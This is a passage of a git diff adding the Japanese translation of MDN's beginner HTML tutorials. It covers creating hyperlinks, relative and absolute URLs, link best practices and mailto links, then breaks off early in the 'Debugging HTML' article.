ウェブが網状組織を構成しているのもハイパーリンクのおかげです。この記事ではリンクを作るために必要な構文を示し、リンクに関するベストプラクティスについて議論します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入門</a>に載っている、基本的な HTML に精通していること。<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a>に載っている、HTML テキストフォーマット。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ハイパーリンクを効率的に実装する方法、複数のファイルを互いにリンクする方法を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_a_hyperlink" name="What_is_a_hyperlink">ハイパーリンクとは</h2> + +<p>ハイパーリンクは Web が提供する最も刺激的なイノベーションです。Web の始まりから機能していましたが、Web を Web たるものにするものです — 文書から別の文書 (やリソース) へとリンクできたり、文書の特定の部分にリンクできたり、簡単な Web アドレスからアプリを利用できるようになります (ネイティブアプリと比較して、そちらはインストールが必要なだけです)。あらゆる Web コンテンツはリンクに変換できて、クリック (またはその他の有効化) した時に Web ブラウザーは別の Web アドレス ({{glossary("URL")}}) に移動します。</p> + +<div class="note"> +<p><strong>メモ</strong>: URL は HTML ファイルや、テキストファイル、画像、テキスト文書、動画やオーディオファイルや、その他 Web に載せられるものを指すことができます。Web ブラウザーにそのファイルの扱い方・表示法がわからない場合、それを本当に開きたいのか聞く (この場合ファイルを開いたり扱ったりする義務は適切な端末上のネイティブアプリに渡されます) か、ファイルをダウンロードします (この場合あとで処理することができます)。</p> +</div> + +<p>例えば、BBC のホームページでは、複数のニュース記事だけでなく、色々なサイトのエリアを指すリンク (ナビゲーション機能) や、ログイン/登録ページ (ユーザーツール) その他多数のリンクがあります。</p> + +<p><img alt="bbc.co.uk のフロントページで、たくさんのニュース項目と、ナビゲーションメニューの機能を表示しています" src="https://mdn.mozillademos.org/files/12405/bbc-homepage.png" style="display: block; margin: 0 auto;"></p> + +<h2 id="Anatomy_of_a_link" name="Anatomy_of_a_link">リンクの解剖</h2> + +<p>基本的なリンクは、リンクにしたいテキスト (またはその他のコンテンツ、{{anch("Block level links")}} を参照) を {{htmlelement("a")}} 要素の中に囲むことで作成し、{{htmlattrxref("href", "a")}} (<strong>ハイパーテキスト参照</strong>または<strong>ターゲット</strong>とも) にリンク先にしたい Web アドレスを入れます。</p> + +<pre class="brush: html"><p>I'm creating a link to +<a href="https://www.mozilla.org/ja/">the Mozilla homepage</a>. +</p></pre> + +<p>これは以下のような結果をもたらします。</p> + +<p>I'm creating a link to <a class="ignore-external" href="https://www.mozilla.org/ja/">the Mozilla homepage</a>.</p> + +<h3 id="Adding_supporting_information_with_the_title_attribute" name="Adding_supporting_information_with_the_title_attribute">title 属性による補足情報の追加</h3> + +<p>あなたのリンクに追加したいかもしれない別の属性は title です。これには、ページに含まれる情報の種類や注意すべき事項など、リンクに関する補足的な有用な情報が含まれています。 例えば、</p> + +<pre class="brush: html"><p>I'm creating a link to +<a href="https://www.mozilla.org/ja/" + title="The best place to find more information about Mozilla's + mission and how to contribute">the Mozilla homepage</a>. +</p></pre> + +<p>これにより、次のような結果が得られます (リンクがホバーされるとタイトルがツールチップとして表示されます)。</p> + +<p>I'm creating a link to <a class="ignore-external" href="https://www.mozilla.org/ja/" title="The best place to find more information about Mozilla's mission and how to contribute">the Mozilla homepage</a>.</p> + +<div class="note"> +<p><strong>メモ</strong>: リンクのタイトルはマウスのホバーでのみ表示されます。つまり、Web ページをナビゲートするためにキーボードコントロールに頼る人々はタイトル情報にアクセスするのが困難になります。タイトルの情報がページの使いやすさにとって本当に重要な場合は、通常のテキストに入れるなどして、すべてのユーザーがアクセスできる方法で表示する必要があります。</p> +</div> + +<h3 id="Active_learning_creating_your_own_example_link" name="Active_learning_creating_your_own_example_link">アクティブラーニング: 独自のサンプルリンクを作成する</h3> + +<p>アクティブラーニングタイム：ローカルのコードエディタを使用して HTML ドキュメントを作成してください (私たちの<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">入門用テンプレート</a>でうまくいくでしょう)。</p> + +<ul> + <li>HTML の本文の中に、1 つ以上の段落または他の種類の既に知っているコンテンツを追加してみてください。</li> + <li>コンテンツの一部をリンクにします。</li> + <li>タイトル属性を含めます。</li> +</ul> + +<h3 id="Block_level_links" name="Block_level_links">ブロックレベルリンク</h3> + +<p>前述したように、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Block_versus_inline_elements">ブロックレベル要素</a>であっても、あらゆるコンテンツをリンクに変えることができます。リンクに変換したい画像がある場合は、その画像を <code><a></a></code> タグの間に配置することで実現できます。</p> + +<pre class="brush: html"><a href="https://www.mozilla.org/ja/"> + <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"> +</a></pre> + +<div class="note"> +<p><strong>メモ</strong>: 今後の記事では Web 上での画像の使用についてさらに多くのことがわかります。</p> +</div> + +<h2 id="A_quick_primer_on_URLs_and_paths" name="A_quick_primer_on_URLs_and_paths">URL とパスに関する簡単な入門</h2> + +<p>リンク先を完全に理解するには、URL とファイルパスを理解する必要があります。このセクションでは、これを達成するために必要な情報を提供します。</p> + +<p>URL (Uniform Resource Locator) は、Web 上のどこにあるのかを定義するテキストの文字列です。たとえば、Mozilla の日本語のホームページは <code>https://www.mozilla.org/ja/</code> にあります。</p> + +<p>URL はファイルを見つけるためにパスを使います。パスはファイルシステム内の目的のファイルが存在する場所を指定します。ディレクトリー構造の簡単な例を見てみましょう (<a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/creating-hyperlinks">creating-hyperlinks</a> ディレクトリーを参照してください)。</p> + +<p><img alt="A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively" src="https://mdn.mozillademos.org/files/12409/simple-directory.png" style="display: block; margin: 0 auto;"></p> + +<p>このディレクトリー構造の <strong>root</strong> は <code>creating-hyperlinks</code> と呼ばれます。Web サイトを使用してローカルで作業する場合は、サイト全体が入る 1 つのディレクトリーがあります。ルート内には、<code>index.html</code> ファイルと <code>contacts.html</code> があります。実際の Web サイトでは、<code>index.html</code> が私たちのホームページまたはランディングページ (Web サイトまたは Web サイトの特定のセクションのエントリポイントとして機能する Web ページ) になります。</p> + +<p>私たちのルートの中にも二つのディレクトリー — <code>pdfs</code> と <code>projects</code> があります。これらはそれぞれ中に PDF (<code>project-brief.pdf</code>) と <code>index.html</code> ファイルというファイルがあります。ファイルシステム内の別の場所にある限り、1 つのプロジェクトに 2 つの <code>index.html</code> ファイルを非常にうまく入れることができることに注意してください。多くの Web サイトはそうします。2番目の <code>index.html</code> は、おそらくプロジェクト関連の情報のメインランディングページになります。</p> + +<ul> + <li> + <p><strong>同じディレクトリー</strong>: <code>index.html</code> (最上位の <code>index.html</code>) 内に <code>contacts.html</code> を指すハイパーリンクを含める場合は、現在のファイルと同じディレクトリーにあるため、リンクしたいファイルの名前を指定するだけです。そのため使用する URL は <code>contacts.html</code> です：</p> + + <pre class="brush: html"><p>Want to contact a specific staff member? +Find details on our <a href="contacts.html">contacts page</a>.</p></pre> + </li> + <li> + <p><strong>サブディレクトリーに移動する</strong>: <code>index.html</code> (最上位の <code>index.html</code>) 内に <code>projects/index.html</code> を指すハイパーリンクを含める場合は、リンクしたいファイルを指定する前に <code>projects</code> ディレクトリーに移動する必要があります。これはディレクトリーの名前、スラッシュ、そしてファイルの名前を指定することでできます。そのため使用する URL は <code>projects/index.html</code> です：</p> + + <pre class="brush: html"><p>Visit my <a href="projects/index.html">project homepage</a>.</p></pre> + </li> + <li> + <p><strong>親ディレクトリーに戻る</strong>: <code>projects/index.html</code> の中に <code>pdfs/project-brief.pdf </code>を指すハイパーリンクを含めたい場合は、ディレクトリー階層を上がってから <code>pdf</code> ディレクトリーに戻る必要があります。「ディレクトリーを上る」は 2 つのドット — <code>..</code> — を使用して表します。そのため使用する URL は <code>../pdfs/project-brief.pdf</code> です：</p> + + <pre class="brush: html"><p>A link to my <a href="../pdfs/project-brief.pdf">project brief</a>.</p></pre> + </li> +</ul> + +<div class="note"> +<p><strong>メモ</strong>: 例えば <code>../../../complex/path/to/my/file.html</code> のように、必要に応じて、これらの機能の複数のインスタンスを複雑な URL に組み合わせることができます。</p> +</div> + +<h3 id="Document_fragments" name="Document_fragments">ドキュメントフラグメント</h3> + +<p>HTML 文書の上部だけでなく、HTML 文書の特定の部分 (<strong>ドキュメントフラグメント</strong>と呼ばれる) にリンクすることもできます。これを行うには、まずリンク先の要素に {{htmlattrxref("id")}} 属性を割り当てる必要があります。通常は特定の見出しにリンクするのが理にかなっているので、次のようになります。</p> + +<pre class="brush: html"><h2 id="Mailing_address">Mailing address</h2></pre> + +<p>次にその特定の <code>id</code> にリンクするには、URL の最後にハッシュ/ポンド記号を付けてそれを含めます。次に例を示します。</p> + +<pre class="brush: html"><p>Want to write us a letter? Use our <a href="contacts.html#Mailing_address">mailing address</a>.</p></pre> + +<p><em>同じドキュメントの別の部分</em>にリンクするために、ドキュメントフラグメント参照を単独で使用することさえできます。</p> + +<pre class="brush: html"><p>The <a href="#Mailing_address">company mailing address</a> can be found at the bottom of this page.</p></pre> + +<h3 id="Absolute_versus_relative_URLs" name="Absolute_versus_relative_URLs">絶対 URL vs 相対 URL</h3> + +<p>Web 上で見かける 2 つの用語は<strong>絶対 URL</strong> と<strong>相対 URL</strong> です。</p> + +<p><strong>絶対 URL</strong>: {{glossary("protocol")}} と {{glossary("domain name")}} を含む、Web 上の絶対位置で定義された位置を指します。たとえば、<code>index.html</code> ページが Web サーバーのルート内にある <code>projects</code> というディレクトリーにアップロードされ、その Web サイトのドメインが <code>http://www.example.com</code> の場合、そのページは <code>http://www.example.com/projects/index.html</code> (あるいは <code>http://www.example.com/projects/</code> だけでも、URL で指定されていない場合、Web サーバーは <code>index.html</code> のようなランディングページを探してロードします) で入手可能です。</p> + +<p>絶対 URL は、使用されている場所に関係なく、常に同じ場所を指します。</p> + +<p><strong>相対 URL</strong>: あなたがリンクしているファイルからの<em>相対的な</em>場所を指しています。たとえば、<code>http://www.example.com/projects/index.html</code> にあるサンプルファイルから同じディレクトリー内の PDF ファイルにリンクする場合、URL は単にファイル名 — 例えば <code>project-brief.pdf</code> — となり、追加情報は不要です。PDF が <code>projects</code> 内の <code>pdfs</code> という名前のサブディレクトリーにある場合、相対リンクは <code>pdfs/project-brief.pdf</code> (同等の絶対 URL は <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>) になります。</p> + +<p>相対 URL は内部で使用されているファイルの実際の場所によって、異なる場所を指します。たとえば、<code>index.html</code> ファイルを <code>projects</code> ディレクトリーから Web サイトのルート (最上位レベル、どのディレクトリーの中でもありません) に移動した場合、<code>pdfs/project-brief.pdf</code> 相対 URL リンクの内部は、<code>http://www.example.com/pdfs/project-brief.pdf</code> にあるファイルを指し、<code>http://www.example.com/projects/pdfs/project-brief.pdf</code> にあるファイルではありません。</p> + +<p>もちろん、<code>index.html</code> ファイルを移動しても <code>project-brief.pdf</code> ファイルと <code>pdfs</code> フォルダーの場所が突然変わることはありません — <span class="tlid-translation translation" lang="ja"><span title="">これは</span></span>リンクが間違った場所を指しているため、クリックしても機能しません。注意する必要があります。</p> + +<h2 id="Link_best_practices" name="Link_best_practices">リンクのベストプラクティス</h2> + +<p>リンクを書くときに従うべきベストプラクティスがいくつかあります。今これらを見てみましょう。</p> + +<ul> +</ul> + +<h3 id="Use_clear_link_wording" name="Use_clear_link_wording">明確なリンク用語を使う</h3> + +<p>ページにリンクを張るのは簡単です。それだと十分じゃありません。現在の状況やツールの好みに関係なく、リンクをすべての読者がアクセスできるようにする必要があります。例えば：</p> + +<ul> + <li>スクリーンリーダーのユーザーは、ページ上のリンクからリンクへと飛び回ったり、文脈の外でリンクを読んだりします。</li> + <li>検索エンジンはリンクテキストを使用してターゲットファイルにインデックスを付けます。したがって、リンクテキストにキーワードを含めて、リンクされているものを効果的に説明することをお勧めします。</li> + <li>視覚的な読者はすべての単語を読むのではなくページを読み飛ばします、そして彼らの目はリンクのように目立つページの特徴に引き寄せられるでしょう。彼らは説明的なリンクテキストが役に立つと思うでしょう。</li> +</ul> + +<p>具体的な例を見てみましょう。</p> + +<p><em><strong>良い</strong> リンクテキスト:</em> <a href="https://firefox.com">Download Firefox</a></p> + +<pre class="brush: html"><p><a href="https://firefox.com/"> + Download Firefox +</a></p></pre> + +<p><em><strong>悪い</strong> リンクテキスト:</em> <a href="https://firefox.com/">Click here</a> to download Firefox</p> + +<pre class="brush: html"><p><a href="https://firefox.com/"> + Click here +</a> +to download Firefox</p> +</pre> + +<p>その他のヒント</p> + +<ul> + <li>リンクテキストの一部として URL を繰り返さないでください。スクリーンリーダーが 1文字ずつ読み上げると、URL は見苦しくなり、さらに見苦しくなります。</li> + <li>リンクテキストに「リンク」や「へのリンク」と書いてはいけません — それは単なるノイズです。スクリーンリーダーは、リンクがあることを人々に伝えます。リンクは一般的に異なる色で表示され、下線が引かれているので、見ているユーザーもリンクがあることを知っているでしょう (ユーザーは慣れているので、この規約は一般に壊れてはいけません)。</li> + <li>リンクラベルはできるだけ短くしてください — 長いリンクは、特に全体を読み上げなければならないスクリーンリーダーのユーザーを悩ませます。</li> + <li>同じテキストが複数存在し、かつ異なる場所にリンクされている場合を最小限に抑えます。これはスクリーンリーダーのユーザーにとって問題となる可能性があり、リンクの一覧が文脈からはずれて表示されることがよくあります。</li> +</ul> + +<h3 id="Use_relative_links_wherever_possible" name="Use_relative_links_wherever_possible">できるだけ相対リンクを使う</h3> + +<p>上記の説明から、絶対リンクを常に使用することが賢明だと思うかもしれません。結局のところ、ページが相対リンクのように移動されても壊れません。ただし、<em>同じ Web サイト</em>内の他の場所にリンクする場合は、できるだけ相対リンクを使用する必要があります (他の Web サイトにリンクする場合は、絶対リンクを使用する必要があります)。</p> + +<ul> + <li>まず最初に、コードをスキャンするのがはるかに簡単です。相対 URL は一般に絶対 URL よりはるかに短いので、コードを読むのはずっと簡単です。</li> + <li> + <p>次に、可能な限り相対 URL を使用するほうが効率的です。<br> + 絶対 URL を使用すると、ブラウザーはドメインネームシステム ({{glossary("DNS")}}; 詳細は<a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">ウェブの仕組み</a>をご覧ください) 上のサーバーの実際の場所を検索することから開始し、次にそのサーバーに移動して要求されているファイルを見つけます。一方相対 URL では、ブラウザーは要求されているファイルを同じサーバー上で検索するだけです。そのため、相対 URL のように絶対 URL を使用する場合は、常にブラウザーに余分な作業を行わせることになります。つまりブラウザーの効率が低下します。</p> + </li> +</ul> + +<h3 id="Linking_to_non-HTML_resources_—_leave_clear_signposts" name="Linking_to_non-HTML_resources_—_leave_clear_signposts">HTML 以外のリソースへのリンク - 明確な道標を残す</h3> + +<p>(PDF や Word 文書のように) ダウンロードされたり (ビデオやオーディオのように) ストリーミングされたり、ポップアップウィンドウを開いたり、Flash ムービーを読み込んだりするなど、予期せぬ効果をもたらすリソースにリンクする場合は、混乱を避けるために明確な表現を追加します。例えば、それはかなりいらいらさせることができます。</p> + +<ul> + <li>低帯域幅の接続を使用している場合は、リンクをクリックすると、数メガバイトのダウンロードが突然開始されます。</li> + <li>Flash プレーヤーがインストールされていない場合は、リンクをクリックすると突然 Flash が必要なページに移動します。</li> +</ul> + +<p>ここではどのような種類のテキストを使用できるかを見るために、いくつかの例を見てみましょう。</p> + +<pre class="brush: html"><p><a href="http://www.example.com/large-report.pdf"> + Download the sales report (PDF, 10MB) +</a></p> + +<p><a href="http://www.example.com/video-stream/" target="_blank"> + Watch the video (stream opens in separate tab, HD quality) +</a></p> + +<p><a href="http://www.example.com/car-game"> + Play the car game (requires Flash) +</a></p></pre> + +<h3 id="Use_the_download_attribute_when_linking_to_a_download" name="Use_the_download_attribute_when_linking_to_a_download">ダウンロードへのリンクは download 属性を使う</h3> + +<p>ブラウザーで開くのではなくダウンロードするリソースにリンクしている場合は、<code>download</code> 属性を使用してデフォルトの保存ファイル名を指定できます。これは最新の Windows 版 Firefox へのダウンロードリンクの例です。</p> + +<pre class="brush: html"><a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US" + download="firefox-latest-64bit-installer.exe"> + Download Latest Firefox for Windows (64-bit) (English, US) +</a></pre> + +<h2 id="Active_learning_creating_a_navigation_menu" name="Active_learning_creating_a_navigation_menu">アクティブラーニング: ナビゲーションメニューの作成</h2> + +<p>この演習では、ナビゲーションメニューを使用していくつかのページをリンクして、複数ページの Web サイトを作成してください。これは Web サイトが作成される一般的な方法の 1 つです。同じナビゲーションメニューを含め、すべてのページで同じページ構造が使用されます。リンクをクリックすると、同じ場所に留まっているという印象が与えられ、異なるコンテンツが表示されます。</p> + +<p>次の 4 ページのローカルコピーをすべて同じディレクトリーに作成する必要があります (完全なファイルリストについては <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a> ディレクトリーも参照してください)。</p> + +<ul> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/index.html">index.html</a></li> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/projects.html">projects.html</a></li> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/pictures.html">pictures.html</a></li> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/social.html">social.html</a></li> +</ul> + +<p>あなたがすべきことは：</p> + +<ol> + <li>リンク先のページの名前を含む、順序なしリストを 1 ページの指示された場所に追加します。ナビゲーションメニューは通常単なるリンクのリストなので、意味的には問題ありません。</li> + <li>各ページ名をそのページへのリンクにします。</li> + <li>ナビゲーションメニューを各ページにコピーします。</li> + <li>各ページで、その同じページへのリンクだけを削除します - ページに自分自身へのリンクを含めることは混乱を招き、無意味です。また、リンクがないことは、現在表示しているページを視覚的に思い出させるものです。</li> +</ol> + +<p>完成した例では、次のようになります。</p> + +<p><img alt="An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items" src="https://mdn.mozillademos.org/files/12411/navigation-example.png" style="display: block; margin: 0 auto;"></p> + +<div class="note"> +<p><strong>メモ</strong>: 動けなくなったり、正しいかどうかわからない場合は、<a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">ナビゲーションメニューのマークアップ</a>ディレクトリーをチェックして正しい答えを確認できます。</p> +</div> + +<h2 id="E-mail_links" name="E-mail_links">メールのリンク</h2> + +<p>クリックすると、リソースまたはページにリンクするのではなく、新しい送信メールメッセージを開くリンクまたはボタンを作成することができます。これは {{HTMLElement("a")}} 要素と <code>mailto:</code> URL スキームを使って行われます。</p> + +<p>最も基本的で一般的に使用されている形式では、<code>mailto:</code> リンクは単に意図した受信者のメールアドレスを示します。例えば：</p> + +<pre class="brush: html"><a href="mailto:nowhere@mozilla.org">メールをどこにも送信しません</a> +</pre> + +<p>この結果、次のようなリンクが表示されます。<a href="mailto:nowhere@mozilla.org">メールをどこにも送信しません</a>。</p> + +<p>実際、メールアドレスはオプションです。省略した場合 (つまり、{{htmlattrxref("href", "a")}} は単に "mailto:" です)、<span class="tlid-translation translation" lang="ja"><span title="">宛先アドレスがまだ指定されていないユーザーのメールクライアントによって、新しい送信メールウィンドウが開かれます。</span><span title="">これは、ユーザーがクリックして自分が選択したアドレスに E メールを送信できる「共有」リンクとして役立つことがよくあります。</span></span></p> + +<h3 id="Specifying_details" name="Specifying_details">詳細の指定</h3> + +<p>メールアドレスに加えて、他の情報を提供することができます。実際、提供する <code>mailto</code> URL には標準のメールヘッダフィールドを追加できます。最も一般的に使用されるのは "subject"、"cc"、および "body" です (これは本当のヘッダーフィールドではありませんが、新しいメールのための短い内容のメッセージを指定することを可能にします)。各フィールドとその値は、クエリ用語として指定されています。</p> + +<p>これは cc、bcc、件名、本文を含む例です。</p> + +<pre class="brush: html"><a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=The%20subject%20of%20the%20email&body=The%20body%20of%20the%20email"> + Send mail with cc, bcc, subject and body +</a></pre> + +<div class="note"> +<p><strong>メモ:</strong> 各フィールドの値は URL エンコードされている必要があります。つまり、非印刷文字 (タブ、キャリッジリターン、改ページなどの不可視文字) とスペースの<a href="http://en.wikipedia.org/wiki/Percent-encoding">パーセントエスケープ</a>が含まれています。また、疑問符 (<code>?</code>) を使用してメイン URL とフィールド値を区別し、アンパサンド (＆) を使用して <code>mailto:</code> URL 内の各フィールドを区別します。これは標準の URL クエリ表記です。<a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data#The_GET_method">GET メソッド</a>を読んで、どの URL クエリ表記がより一般的に使用されているかを理解してください。</p> +</div> + +<p>以下は <code>mailto</code> の他の URL の例です。</p> + +<ul> + <li><a href="mailto:">mailto:</a></li> + <li><a href="mailto:nowhere@mozilla.org">mailto:nowhere@mozilla.org</a></li> + <li><a href="mailto:nowhere@mozilla.org,nobody@mozilla.org">mailto:nowhere@mozilla.org,nobody@mozilla.org</a></li> + <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org</a></li> + <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&subject=This%20is%20the%20subject">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&subject=This%20is%20the%20subject</a></li> +</ul> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>とにかく今のところ、それはリンクのためのそれです！<br> + スタイルの設定を見始めると、コースの後半のリンクに戻ります。次に HTML について説明します。テキストのセマンティクスに戻って、役に立つと思われるより高度な機能や変わった機能について説明します。高度なテキストの書式設定は、次に行うことです。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入門</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Head とは？HTML のメタデータ</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクの作成</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">上級のテキスト整形</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">文書と Web サイトの構造</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML のデバッグ</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">文字のマークアップ</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">コンテンツのページの構造化</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/debugging_html/index.html b/files/ja/learn/html/introduction_to_html/debugging_html/index.html new file mode 100644 index 0000000000..24c4e6c4d3 --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/debugging_html/index.html @@ -0,0 +1,185 @@ +--- +title: HTML のデバッグ +slug: Learn/HTML/Introduction_to_HTML/Debugging_HTML +tags: + - CodingScripting + - HTML + - エラー + - ガイド + - デバッグ + - バリデーション + - バリデーター + - ビギナー +translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">HTML を書くことは良いですが、何か問題が生じた場合どうなります？また、コード内のどこにエラーがあるか見つけられますか？この記事では HTML 内のエラーの発見、および修正の手助けをしてくれるいくつかのツールを紹介します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>HTML の使い方、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML の始め方</a>や <a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a>、そして<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクの作成</a>を網羅した例。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>HTML内の問題を見つけるためのデバッグ用ツールの基本的な使い方の学習。</td> + </tr> + </tbody> +</table> + +<h2 id="デバッグは怖くない">デバッグは怖くない</h2> + +<p>何かのコードを書いている時、エラーが起きる (何かしらの間違いを犯したため、コードが全く機能しない、あるいは望んでいた通りに動かない) その恐ろしい瞬間まで、通常は全く問題ありません。たとえば、以下は <a href="https://www.rust-lang.org/">Rust</a> 言語で書かれた単純なプログラムを {{glossary("compile")}} しようとしたときに報告されるエラーを示しています。<img alt="A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string." src="https://mdn.mozillademos.org/files/12435/error-message.png" style="display: block; height: 520px; margin: 0px auto; width: 711px;">ここに、比較的分かりやすいエラーメッセージがあります。 — "閉じていない二重引用符文字列"。リストを見れば、おそらく論理的に <code>println!(Hello, world!");</code> に二重引用符がない可能性があるとわかるでしょう。しかし、プログラムが大きくなるにつれてエラーメッセージはすぐに複雑になり、解釈しにくくなります。簡単な場合でも、Rust について何も知らない人には少し威圧的に見えるかもしれません。</p> + +<p>デバッグを怖がる必要はありません — プログラミング言語やコードの作成、デバッグに慣れるための鍵は、言語とツールの両方に精通していることです。</p> + +<h2 id="HTML_とデバッグ">HTML とデバッグ</h2> + +<p>HTML は Rust ほど理解するのが複雑ではありません。ブラウザが解析して結果を表示するまで、HTML は別の形式にコンパイルされません (解釈されますが、コンパイルはされません)。そして HTML の {{glossary("element")}} 構文は、Rust、{{glossary("JavaScript")}}、または {{glossary("Python")}} のような "実際のプログラミング言語" よりはるかに理解しやすいです。ブラウザが HTML を解析する方法は、プログラミング言語の実行方法よりもはるかに<strong>寛容</strong>です。これは良いことと悪いことの両方です。</p> + +<h3 id="許容コード">許容コード</h3> + +<p>では寛容とはどういうことでしょうか。まあ、一般的にコードで何か間違ったことをするとき、出くわすことになる2つの主なタイプのエラーがあります：</p> + +<ul> + <li><strong>シンタックスエラー</strong>: 上記の Rust エラーのように、コード内のスペルミスで実際にはプログラムが実行されません。言語の構文に精通していて、エラーメッセージが何を意味するのか知っている限り、これらは通常修正が簡単です。</li> + <li><strong>ロジックエラー</strong>: これらは、シンタックスは実際には正しいのですが、コードが意図したものではないため、プログラムが正しく実行されないエラーです。エラーの原因を特定するためのエラーメッセージがないため、シンタックスエラーよりも修正が困難です。</li> +</ul> + +<p>HTML 自体は構文エラーに悩まされていません。ブラウザが構文解析エラーを許容して解析するからです。つまり、構文エラーがあってもページは表示されたままです。ブラウザには、誤って書かれたマークアップを解釈する方法を決定するための組み込みのルールがあるので、たとえそれが期待したものでなくても、実行することはできます。もちろん、これはまだ問題になる可能性があります。</p> + +<div class="note"> +<p><strong>メモ</strong>: Web の世界が最初に構築されたとき、HTML はそれほど厳格には解析されませんでした。これは、構文（シンタックス）が絶対的に正しいことを確認するよりも、人々がコンテンツを公開できることのほうが重要であると判断されたためです。当初から構文がより厳格に処理されていたとすれば、おそらく 現在のような Web は実現されなかったでしょう。</p> +</div> + +<h3 id="アクティブラーニング_許容コードの学習">アクティブラーニング: 許容コードの学習</h3> + +<p>HTML コードの寛容な性質を学習する時が来ました。</p> + +<ol> + <li>まず、<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">debug-example のデモ</a>をダウンロードしてローカルに保存します。このデモは、調査するために意図的にエラーを含むように書かれています (HTML マークアップは<strong>整形式ではない</strong>と言われており、<strong>整形式</strong>とは対照的です)。</li> + <li>次にブラウザで開きます。 このようなものを見るでしょう：<img alt="A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes. " src="https://mdn.mozillademos.org/files/12437/badly-formed-html.png" style="display: block; margin: 0 auto;"></li> + <li>これはすぐには良く見えません。ソースコードを調べて、問題が解決できるかどうか確認しましょう (本文の内容だけが表示されます)。 + <pre class="brush: html notranslate"><h1>HTML debugging examples</h1> + +<p>What causes errors in HTML? + +<ul> + <li>Unclosed elements: If an element is <strong>not closed properly, + then its effect can spread to areas you didn't intend + + <li>Badly nested elements: Nesting elements properly is also very important + for code behaving correctly. <strong>strong <em>strong emphasised?</strong> + what is this?</em> + + <li>Unclosed attributes: Another common source of HTML problems. Let's + look at an example: <a href="https://www.mozilla.org/>link to Mozilla + homepage</a> +</ul></pre> + </li> + <li>問題を見てみましょう。 + <ul> + <li>{{htmlelement("p","paragraph")}} と {{htmlelement("li","list item")}} 要素には終了タグがありません。上の画像を見ると、ある要素がどこで終わり、別の要素が始まるべきかを推測するのは簡単なので、これはマークアップのレンダリングにあまり悪い影響を与えていないようです。</li> + <li>最初の {{htmlelement("strong")}} 要素には終了タグがありません。要素がどこで終了するのか分かりにくいので、もう少し問題があります。実際、残りのテキスト全体が強調されています。</li> + <li>このセクションはひどくネストされています： <code><strong>strong <em>strong emphasised?</strong> what is this?</em></code>。前の問題もあって、これがどのように解釈されたかを見分けるのは容易ではありません。</li> + <li>{{htmlattrxref("href","a")}} 